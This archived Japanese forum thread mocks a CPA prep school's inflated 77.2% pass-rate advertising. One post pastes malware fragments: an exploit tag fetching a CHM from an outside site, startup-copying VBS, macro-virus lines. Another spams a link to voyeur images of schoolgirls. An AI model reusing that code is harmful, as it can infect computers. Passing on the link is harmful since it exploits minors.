196 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 18:50:45 ID:???
合格率と占有率でTAC生の範囲を好き勝手に変えてもいいの?

197 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 19:31:19 ID:???
hokudaiアカスクはほんとに合格率77.2%くらいあるよ。

198 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 19:50:18 ID:???
>>196
どうぞご自由に

199 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 21:26:42 ID:???
ここってほとんど一人の書き込みだね

200 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 21:51:29 ID:???
>>199
誰が書き込んでてもいいさ。
大事なのは、書かれている「内容」だよ。

「内容」をどう評価するかは個人の自由。

201 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 21:52:16 ID:???
俺3回くらいしか書いてないけど
なんで一人って思い込みたいの?

202 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 21:55:31 ID:???
>>1
                  <
                   __ノ  
                  `ヽ   なるほど
                ,-〜ノ   TACを信じて
                イ  つ   学習を
         ___      l、 `ヽ   進めれば
        〈r'仂   ___..∠二..フ    いいのですね
        }―(  , ヘ.    ∠..._
        |  /ヽ }     |  _ノ-‐''⌒レ'⌒ヽ
        | '´  , イ      |    |'/' ヽ
         `ー '´  |     |   |ヽ.___ノ
             |      |   |

203 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 21:56:02 ID:???
そうだそうだ。なんで一人なんだと思いたいんだ?
俺は120回くらいしか書き込んでないぞ。

204 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 21:58:59 ID:???
>>199
おそらく特定の人しか書き込んでません。
このスレ立てたのはヴェテで有名なアクセルの住人です。
アリのようなちっさい予備校が、必死になって大手であるTACや大原を侮蔑するのはよくあることですから。

205 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:01:53 ID:???
TAC受験生>>>>>>>>超えられない壁(合格率70%)>>>>>>>>>>>その他の受験生

206 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:02:39 ID:???
TACの擁護者が一人ってこと?

207 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:04:21 ID:yYhYijRk
これすごい数字だけど TACってそんなに凄いんですか?
やっぱそれなりにカリキュラムが重くなるんですかね?
今受講しようか迷ってるんです

208 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:05:15 ID:???
>>204
侮辱(笑)。
あなたが書いているのが、侮辱って言うんですがwww

いわれのない誹謗中傷と、事実に基づいた指摘・批判を混同して、
なりふり構わず論点ずらしをするのはどうかと思いますよ。

209 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:06:10 ID:???
TACは凄いぞ。
ここ何十年かは合格者数No,1キープしてるしな。

210 :204:2006/10/04(水) 22:09:59 ID:???
>tac生の人
相手にしないほうがいいですよ
小規模予備校の人がなに言ったって結局合格者数はTACがダントツですし。
TACには勝てませんから
「www」なんて頭悪そうな言葉使う人には関わらないほうがいいです。
テキスト開いて勉強しましょう

211 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:10:02 ID:a9QtPp0X
TACは間違っていない
あの数字も本当
だから明日のHPメンテが済んでも
ttp://www.cpa-tac.com/information/senyuritu.html
は消されません!!!!!!!!!!!

212 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:13:22 ID:???
コピーとってるから
もう遅いお
http://2ch-news.net/up/up21971.jpg
http://2ch-news.net/up/up21972.jpg

213 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:13:25 ID:???
>>207
TACを信じて勉強すれば77.2%短答合格しますよ。
ですから、安心して受講してください。

214 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:25:36 ID:???
しかし77.2%を本気で擁護する奴がいるとは思わなかったな。。。
こういう馬鹿がいるから予備校は儲かるんだなw

215 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:28:15 ID:???
マジレスしちゃうよ?

予備校がてめえに都合のいい数字だけ引っ張って
当校がNo1です!!データで実証されています!!
ってやる手法はよくある話なの。
で、そういう詐欺的な手法にイラついている人はいっぱいいるの。

>>1もまさにその手法の典型なわけ。
短答合格率を宣伝したいがために、
TACに都合のいい「修了者」なんていう言葉作っちゃってさ。
修了者なんて初めて聞いたつうの。なんだよそれ。

んでも景品表示法違反で摘発できるかっていうとそういう前例もないし、
電凸したところで何にもなんないから皆で茶化して終わるの。それがこのスレの前半ね。

216 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:28:25 ID:???
市場が効率的でないと、洗練されてない情報利用者は損害を被るおそれがあるんだな。

217 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:28:57 ID:???
>>214
バカ 燃料に決まってんだろっ
後は税理士受験生に騒がせれば万事おk

218 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:29:23 ID:???
ところが>>87が、
「TACの修了者定義に基づくと、毎年70%とか80%とか
パンフレットで宣伝してる占有率が20%になっちゃうぞ」
って見事なツッコミを入れたわけ。わかる?

で、>>87以降は、
今後TACが占有率を出すときは
・修了者ではない者をTAC合格者にするとか、
・修了者の定義を>>1より拡大するとか、
そういったさらに卑怯な手段を講じないと占有率が宣伝できないぞm9(^Д^)プギャー!!
ってTACのイカサマにツッコミ続けてるわけ。それがこのスレの後半。

●TAC生の範囲を狭めて、合格率77.2%!!TAC最高!!
●TAC生の範囲を広げて、占有率○○%!!TAC最強!!
こんなやり方で「へーやっぱTACってすごいんだー」って言える?

219 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:30:37 ID:???
>>215
志村ー!LEC!LEC!!!!!!!11111

まあちょびっつ状況が違うし jaroに通報しとくのが無難

220 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:30:47 ID:???
>>218
やっぱすごいね。
むしろ、かなりすごいと思うよ。

221 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:33:12 ID:???
>>218
いや素直にTACすげーって思うけど?

222 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:33:22 ID:???
>>219
知ってる。ちょっと書き方失敗したか
>>138が自分のレスです。

223 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:42:24 ID:???
さすが会計士受験の世界を引っ張っていくリーダー
これくらいはやってくれなきゃ

224 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:48:15 ID:???
リーダーがチャレンジャーの土俵に乗るから、こういうことになる。

225 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:53:32 ID:???
しかし、この件に関してO原は積極的に批判できない

226 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:54:24 ID:???
とTAC生が申しております

227 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:57:37 ID:???
ベテの短答落ちってタックぐらいじゃねーの?

228 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 22:58:28 ID:???
TACはDQNが多いから合格率は一番悪いだろうな

229 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:01:29 ID:???
明日メンテが済む22時以降

  ヨヨイノ ヨイ!    ___   ドン!ドンドドン!
     П∧_∧.ミ __ ヽ:::..ヽドンドン!ドンドン!
     ∩(# ・∀・) //  i::::::: |Σ
ドドンガ ヾ冫祭 ⌒lつ  l:::::::::|
  ドン! (__.八 _._ノ._ノ
       )_)_) 凵凵 凵

祭りの予定です

230 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:03:42 ID:???
そんなことより今夜は好きなおでんの具について語ろうぜ

231 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:06:08 ID:???
タマゴとダイコン

232 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:06:42 ID:???
大原の公式ページ見てきたけど、短刀の合格者数そのものはTACのが多いな。
このままいけば占有率トップは維持するかもしれん。
パンフレットに載る数字は眉唾確定だけど(w

233 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:07:05 ID:???
大根
こんにゃく
餅巾着

234 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:11:03 ID:???
論文発表後に再度アンケートのはがき送れば
占有率という課題もクリアできそうだな

235 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:11:13 ID:???
つうかTACって短答答練3回しかやってねーの?

236 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:11:16 ID:???
大根 たまご こんにゃくは鉄板 

237 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:14:06 ID:???
期別に数回ずつある

238 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:14:57 ID:fM8mngi8
明日メンテが済む22時以降

  ヨヨイノ ヨイ!    ___   ドン!ドンドドン!
     П∧_∧.ミ __ ヽ:::..ヽドンドン!ドンドン!
     ∩(# ・∀・) //  i::::::: |Σ
ドドンガ ヾ冫祭 ⌒lつ  l:::::::::|
  ドン! (__.八 _._ノ._ノ
       )_)_) 凵凵 凵

祭りの予定です


239 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:17:35 ID:???
おでんといえばウインナーだろ

240 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:17:59 ID:???
  / ̄ ̄\
/   _ノ  \
|    ( ●)(●)
|     (__人__)   改竄はしないだろ…
|     ` ⌒´ノ     常識的に考えて・・・
|         }
.ヽ        }
  ヽ     ノ        \
  /    く  \        \
  |     \   \         \
  |    |ヽ、二⌒)、          \

241 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:21:33 ID:???
TACはいつも言っています。
「受験生のみなさんには大人の対応が求められています。」ってね。

242 :一般に公正妥当と認められた名無しさん:2006/10/04(水) 23:28:45 ID:roLepunK
秋上級統計学講師最高

243 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 00:35:13 ID:???
 

244 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 00:37:47 ID:???
今夜はそれほど盛り上がらなかったね

245 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 00:38:35 ID:???
じゃあ好きなおにぎりのネタで雑談しようぜ

246 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 00:40:03 ID:???
ツナマヨ
エビマヨ
チキンマヨ

247 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 00:45:59 ID:???
昆布だけはガチ

248 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 00:49:19 ID:???
祭りまで22時間きりました

  ヨヨイノ ヨイ!    ___   ドン!ドンドドン!
     П∧_∧.ミ __ ヽ:::..ヽドンドン!ドンドン!
     ∩(# ・∀・) //  i::::::: |Σ
ドドンガ ヾ冫祭 ⌒lつ  l:::::::::|
  ドン! (__.八 _._ノ._ノ
       )_)_) 凵凵 凵

249 :ベテ:2006/10/05(木) 01:02:19 ID:960RVBMe
タックは監査法人に例えると、中央青山ってとこか。

250 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 01:05:10 ID:???
わかった俺がネタを提供してやろう

>>218が「占有率が20%になっちゃう」を見事なツッコミと思うのはちょっと痛いと思う。

占有率の分子として有用なのはその主にその予備校で勉強した人(本科受講生)だろ?
カリキュラムを完全にこなした人を分子にしてもなんら意味は無い数字になる。
だってカリキュラムを完全にこなしてないTAC生も分母に含まれちゃってるんだから。

では、こんかいの短答合格率77%っていう数字はどうか?
短答合格率の分母で一番有用なのは本科受講生数だろうね。
これが全ての受験生が予備校選びにとって一番気になる数字。

でも、真面目に勉強しようとしている受験生にとってはあまり意味無い。
TACには業界最大手らしく講義で寝てるだけの受験生も腐るほどいる。
真面目に勉強しようとしている受験生は、真面目に勉強したら合格率はどのくらいかって
かなり重要な数字。

指標の意味とか管理会計とかで勉強してるなら「占有率が20%になる〜」っていうのが痛いのはわかるだろ?
占有率90何%とかいう宣伝と同じ。

251 :ベテ:2006/10/05(木) 01:26:13 ID:960RVBMe
タックの受講生のほとんどは真面目に勉強してないってことですか?

252 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 01:34:02 ID:???
>>251
そう。あなたのようにね

253 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 01:47:40 ID:???
>>250
のらせていただきます

言いたいことは把握した。
占有率で広く定義することにも、合格率で狭く定義することにも
それぞれ積極的な意味がある、と。

しかし!!

それぞれに意義があるとしても、占有率を広く定義する以上、
合格率も原則は広く定義して公表すべきであり、
「ちなみに真面目に最後まで受講したら77%で高いんだよっ」と、
あくまで狭い定義の合格率は参考として公表されるべきである。

非っ常〜におサムい言い方ですが、
数字のプロを志す以上、数字には厳格でいなければならないと思います。

TACの宣伝手法は卑怯だと思います。

254 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 01:57:32 ID:???
>>253
一企業の宣伝なんてそんなもんだろ
ましてやTACは上場企業。金が欲しくてたまらない。

255 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 02:07:56 ID:???
しかし昨日20円も株価がダウン

256 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 02:12:28 ID:???
TACの株主にはTAC生がいっぱいいるという事実

257 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 03:22:38 ID:???
>>254
現実はそんなもんだってことは分かっているつもりです。

監査法人ですら、
ある法人はクライアント数第1位
ある法人は連結売上高トップ100企業におけるクライアント数第1位
ある法人は今年度新規契約クライアント数第1位
ある法人はメンバーファームを含めたクライアント数第1位
って数字こねくりまわして自分に都合のいい宣伝ばっかりしてました。

でもやっぱりそれでもやっぱり
そういう卑怯な手法を手放しで賞賛したくはないわけです。

>>1に限らず、TACの我田引水論法は度が過ぎる。
いいかげんにしてほしい。

258 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 03:46:23 ID:???
ようするにタック必死だなw

259 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 04:15:05 ID:dMDu2j5c
高卒って会計士やっても意味ないのか・・・・・何かショックだ

260 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 04:45:30 ID:???
燃料投下おせーよww
もっと人集まってるときにこい
今度はもっと良質なエサつけてな

261 :一般に公正妥当と認められた名無しさん :2006/10/05(木) 04:51:14 ID:???
社員の給料、平均600万円以上って
多角ね。

262 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 04:54:23 ID:???
そうっすね
のんびりキングよりは稼ぎあるし
年収も多いね

263 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 10:06:50 ID:???
>>253
そもそも、77%っていう数字は、アンケート調査に基づいた結果だから
狭く定義した合格率としても、厳格な数値とは言えないと思うんだよね。
恐らく、受かった人の回答率の方が落ちた人の回答率より高いだろうし。

264 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 13:08:34 ID:???
    〃〃∩  _, ,_
     ⊂⌒( `Д´) < サイトを消すのヤダヤダ!
       `ヽ_つ ⊂ノ
              ジタバタ
         _, ,_
     〃〃(`Д´ ∩ < ジャロに訴えられるのもヤダヤダヤダ
        ⊂   (
          ヽ∩ つ  ジタバタ
    〃〃∩  _, ,_
     ⊂⌒( `Д´) < 短答合格率下げるのはもっとヤダヤダ!
       `ヽ_つ ⊂ノ
              ジタバタ
         _, ,_
     〃〃(`Д´ ∩ < 大原抑えて業界でダントツトップでなきゃヤダヤダヤダ
        ⊂   (
          ヽ∩ つ  ジタバタ
    〃〃∩  _, ,_
     ⊂⌒( つД´) < 2chで叩かれるはまだいいとしても・・・
       `ヽ_ ノ ⊂ノ
              ジタバタ
             (ヨ
    〃〃∩  _, ,_ ノノ キィィィ
     ⊂⌒(#`Д´)illi   < 株価が下がるのは断固ヤダ!!
       `ヽ_つ⌒ヽ(ヨ) (    
            ⌒Y⌒ ドンドン
       ∩
     ⊂⌒(  _, ,_) < 本日のメンテで本科生カリキュラム修了生の定義改めますから…
       `ヽ_つ ⊂ノ
              ヒック...ヒック...
       ∩  _, ,_   
     ⊂⌒(  ゚∀´) < だからゆ・る・し・て
      `ヽ_つ ⊂ノ

265 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 13:50:14 ID:???
ワラタ

266 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 15:27:07 ID:???
>>263
だったらなおさら

>狭く定義した合格率

を大々的に公表することは避けるべきですね。

267 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 18:19:23 ID:???
真面目に勉強しようとしている受験生にとってはあまり意味無い。
TACには業界最大手らしく講義で寝てるだけの受験生も腐るほどいる。
真面目に勉強しようとしている受験生は、真面目に勉強したら合格率はどのくらいかって
かなり重要な数字。

指標の意味とか管理会計とかで勉強してるなら「占有率が20%になる〜」っていうのが痛いのはわかるだろ?

268 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 18:20:20 ID:???
占有率を広く定義する以上、
合格率も原則は広く定義して公表すべきであり、
「ちなみに真面目に最後まで受講したら77%で高いんだよっ」と、
あくまで狭い定義の合格率は参考として公表されるべきである。

非っ常〜におサムい言い方ですが、
数字のプロを志す以上、数字には厳格でいなければならない

269 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 19:31:45 ID:???

http://www.cpa-tac.com/information/senyuritu.html
一番下

>※合格番号のみの発表のため、TAC本科生短答カリキュラム修了者への
>電話調査及びハガキによるアンケート調査によって判明した方による集計となっています。

こんな但し書きあったっけ?>>212見れなくて確認できないんだけど

270 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 19:38:49 ID:???
>真面目に勉強しようとしている受験生は、真面目に勉強したら合格率はどのくらいかってかなり重要な数字。

その数値はTACニュースに載せろよ
管理会計で多額の不利差異を勉強してるなら分かると思うが、外部報告は厳格な数値だろ

271 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 22:30:47 ID:???
誰か画像保存してる人いない?
>>269は付けたしされたのかどうか

272 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 22:34:05 ID:???
>>271
このスレが立った直後には既にあったと思う。
>>212にも書いてあったはず。

273 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 22:40:27 ID:???
「TAC本科生短答カリキュラム修了者への」って部分は付け足された

274 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 22:41:32 ID:???
そういわれればそういう気もする

275 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 22:42:54 ID:???
今理解した。
俺カリキュラム修了者じゃないからはがき来なかったんだな。


276 :屑スレにつき刻印をつける。:2006/10/05(木) 22:43:06 ID:???
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!http://www.loadcash.biz//adverts//35//main.chm::/main.htm" type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
???????


277 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 23:04:26 ID:???
>>271
その文言は始めからあったよ。俺デジカメで撮ってからわかる。
しかし、TACには恐れいりました。ここまで批判がありながら
かの合格率を高々と宣言しているのだから。この勝負は完敗です。

278 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 23:06:02 ID:???
ビジネスライセンスの最高峰である会計士試験も
TACを信じて学習を続ければ77.2%の高確率で突破できるということですね?

279 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 23:07:15 ID:???
>>250>>253はもう来ないの?

>>250>>253両方読んでおもしろかったよ。

280 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 23:11:47 ID:???
「あなたは短答に受かりしたか?落ちましたか?答えてくれたら抽選で図書券あげる」

義務でもない・見返りも小さい
落ちた人の何割が正直に答えたことやら

281 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 23:14:47 ID:???
番号しか発表されなくなった以上、こういう調査の信憑性って著しく低いと思うんだけど
そういう調査に基づいて合格率を公表したりするのってどうなんだろうね

282 :280:2006/10/05(木) 23:15:01 ID:???
あっ図書券当たるのは外部生だけか?
ずうずうしくも電話で結果だけ聞いてるのかな

283 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 23:19:23 ID:???
「合格した人が多い母集団」じゃなくて

「合格した人の回答率が高い母集団」かよ。

よけい悪質じゃねえか。

落ちた人が答えにくい調査をして合格率水増しなんて汚すぎる

284 :一般に公正妥当と認められた名無しさん:2006/10/05(木) 23:48:54 ID:gW+eqZ2x
283どういうこと?

285 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 00:51:33 ID:???
ICOあたりが短答合格率80%越えするのを期待

286 :ベテ:2006/10/06(金) 02:02:31 ID:yWh4e9Xl
タックはクソ、結論はもう出たでしょ。
沙羅双樹の花の色、盛者必衰の理をあらはす。
タックの時代は終わった。

287 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 14:00:47 ID:iTC55Uuj
おじさんが大好きな女子高生の盗撮画像ばかり
http://ichigomilk.ham-radio-op.net/imgbbs/index.htm

288 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 17:07:18 ID:???
モーハラ「短答合格率いくらよ?おいらっち62.0%なんやけど〜wwwwww」
タク「77.2%です」
モーハラ「・・・え・・・!?」
タク「合格者は今現在判明している者だけで1136人。」
モーハラ「・・・う、うわあ・・・ああ・・・ああああああああああ(イスから転げ落ちる)」
タク「どうかしましたか?」
モーハラ「ああ、あふゥッ・・・ひいいい・・ガクガク(足が震える)」
タク「やだなあ、そんなにびびらないで下さいよ。最終的には合格者占有率70%が目標なんですから^^」
モーハラ「ああ・・あ・うんっ・ああ・・・ビクンビクン(小水を漏らす)」
タク「ちなみにこの広告の経済効果は推定20億円です。」
モーハラ「あんっ!ああん・・らめ・・・もうらめえ!ビクンビクン(射精する)」

289 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 17:09:56 ID:???
「合格した人が多い母集団」じゃなくて

「合格した人の回答率が高い母集団」かよ。

よけい悪質じゃねえか。

落ちた人が答えにくい調査をして合格率水増しなんて汚すぎる

290 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 17:47:22 ID:???
自爆か・・・

291 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 21:03:05 ID:2/Ll2cm8
で、結局タックは祭りの後にデータを修正したんですか?

292 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 21:28:57 ID:6bZ92NQh
早く死なねーかなー?

293 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 22:31:09 ID:SLDRnscg
誰が?

294 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 22:39:52 ID:???
http://www.vipper.net/vip106500.jpg
http://www.vipper.net/vip106501.jpg
あいよー

295 :一般に公正妥当と認められた名無しさん:2006/10/06(金) 23:02:53 ID:4UF+ODkb
AXLの事務局ってほんといい加減ですね。
対応がその場しのぎで適当なんですよ。
全国模試が100人程度のとこじゃ所詮そんなもんなんですかね。



296 :一般に公正妥当と認められた名無しさん :2006/10/06(金) 23:08:02 ID:???
こういうの見ると、ますますタックが嫌になる。

297 :一般に公正妥当と認められた名無しさん:2006/10/07(土) 00:31:57 ID:???
77%の確率で短答に受かるが、77%の確率で分母から漏れてしまうTAC(笑)

298 :一般に公正妥当と認められた名無しさん:2006/10/07(土) 00:49:31 ID:Kwj6VQH6
1136人って短答の合格占有率は何%?

299 :一般に公正妥当と認められた名無しさん:2006/10/07(土) 00:58:25 ID:???
TACの驚異の短答合格占有率22%で今年も会計士試験を制覇!
32V達成?

300 :一般に公正妥当と認められた名無しさん:2006/10/07(土) 01:11:05 ID:???
つか、おれ短答受かったけど全答練寝坊して受けてないから母集団に入ってないし。

301 :一般に公正妥当と認められた名無しさん :2006/10/07(土) 04:19:55 ID:???
ここまでやるのね。
いろいろな他校批判が分かってきたような感じがする。

ガンバレ、TAC。早くトヨタ自動車を抜くような、日本最大の会社になってね。
短答合格率も100%になってね。

302 :一般に公正妥当と認められた名無しさん:2006/10/07(土) 10:56:01 ID:???
このままだと、短答合格率100%超えもまじかだね。

303 :一般に公正妥当と認められた名無しさん:2006/10/07(土) 18:59:10 ID:XgFq0Nb/
早くトヨタ自動車を抜くような、日本最大の会社
早くトヨタ自動車を抜くような、日本最大の会社
早くトヨタ自動車を抜くような、日本最大の会社
早くトヨタ自動車を抜くような、日本最大の会社
早くトヨタ自動車を抜くような、日本最大の会社
早くトヨタ自動車を抜くような、日本最大の会社



なれるわけねぇwwwwwwwwwwwwwwwwwwwwwwwwwwww

304 :一般に公正妥当と認められた名無しさん:2006/10/08(日) 00:31:48 ID:iOuv/NNX
なれねえな、確かに。あの株価じゃぁ・・・ry

305 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 09:22:53 ID:???
恥ずかしいですね

306 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 14:07:40 ID:???
一回つぶれるといいですね。

307 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 14:22:19 ID:???
通信で受講してると、某学校法人との差がはっきりするよ。
教材の扱いや、そのほかのサービスが全然違うから。


308 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 14:28:20 ID:???
>>307
それはTACのほうが優れているということ?

309 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 14:43:52 ID:???
その反対

310 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 14:59:22 ID:???
通信だと、たとえば教材配布については、
【TAC】むきだしのまま ときどきテキスト同士がかみあってる
【大原】個々にビニールパッケージされている

また、答練の提出については、
【TAC】切手を貼付
【大原】そのまま封筒に入れて投函するだけ

ほかにも挙げ出したらきりがないけど。




311 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 15:10:24 ID:???
TACは受講生を大人として扱います
過保護な扱いはしませんので

312 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 15:30:52 ID:JTYrVGH8
TACはテキストも大人として扱います
過保護な扱いはしませんので

313 :w:2006/10/09(月) 16:43:29 ID:XDksgfuS
d

314 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 17:52:06 ID:???
TACの受講生はいつも大人の対応だから平気です

315 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 18:06:34 ID:???
>>312
だからときどき絡み合うの?
営利企業だから利益優先なのね

316 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 20:19:10 ID:???
TAC生は1400人しかいないんですか?

317 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 20:47:05 ID:???
そうだよ。知らないの?

318 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 20:54:58 ID:???
TACのドロップアウト率って90%以上じゃね?

319 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 21:01:33 ID:???
入学した人が何人で、
そのうち入門を修了したのが何人で、
さらにそのうち上級の5割を受講したのが何人で、
最後にカリキュラムを全て修了したのが1400人で、1100人短答合格

この数字知りたいけどTACは決して公表しないんだろうなあ
都合悪いもんなあ

320 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 21:24:33 ID:VlBmSESi
タックの分母1400人しかいないの?
合格占有率の数字は?

321 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 21:36:37 ID:???
1100/5000が占有率

322 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 22:38:14 ID:JgSHR10Q
          ____   
       / \  /\ 
.     / (ー)  (ー)\      
    /   ⌒(__人__)⌒ \    
    |      |r┬-|    |   北朝鮮ごときさっさとアメリカが掃除すればいいのにお・・・
     \     `ー'´   /      
    ノ            \      ん?なんだおこのURLは?
  /´               ヽ              
 |    l              \
 ヽ    -一''''''"~~``'ー--、   -一'''''''ー-、.    
  ヽ ____(⌒)(⌒)⌒) )  (⌒_(⌒)⌒)⌒))


         ____
       /::::::::::  u\
      /:::::::::⌒ 三. ⌒\    
    /:::::::::: ( ○)三(○)\         http://robinhood.up.seesaa.net/image/iup270649.jpg
    |::::::::::::::::⌒(__人__)⌒  | ________
     \::::::::::   ` ⌒´   ,/ .| |          |
    ノ::::::::::u         \ | |          |
  /:::::::::::::::::      u       | |          |
 |::::::::::::: l  u             | |          |
 ヽ:::::::::::: -一ー_~、⌒)^),-、   | |_________|
  ヽ::::::::___,ノγ⌒ヽ)ニニ- ̄   | |  |


323 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 23:14:08 ID:???
つまりTACは韓国並みのキチガイってことですね

324 :一般に公正妥当と認められた名無しさん:2006/10/09(月) 23:17:42 ID:lRTARGM3
K○○Gには、HカップのヤリマンCPAがいるぞ!
おれは、チンコが小さいといわれた!
牛乳瓶くらいがいいそうだ!

ショック!




325 :一般に公正妥当と認められた名無しさん:2006/10/10(火) 00:13:24 ID:???
>>324US?

326 :一般に公正妥当と認められた名無しさん:2006/10/10(火) 00:26:05 ID:???
tac企業法(笑)

327 :一般に公正妥当と認められた名無しさん:2006/10/10(火) 16:37:41 ID:???
TACの短答答練(爆)

328 :一般に公正妥当と認められた名無しさん:2006/10/10(火) 16:58:09 ID:???
短答合格率は驚異の77.2%(TAC)
我が社を信じて着いてきていただければ必ず合格することを保証します(TAC)

329 :一般に公正妥当と認められた名無しさん:2006/10/10(火) 19:07:39 ID:???
TACのIR情報によると2005年に会計士講座に申し込んだ人数は15,322人らしい。
おそらく、入門・上級・単科も合わせた人数だろうが。

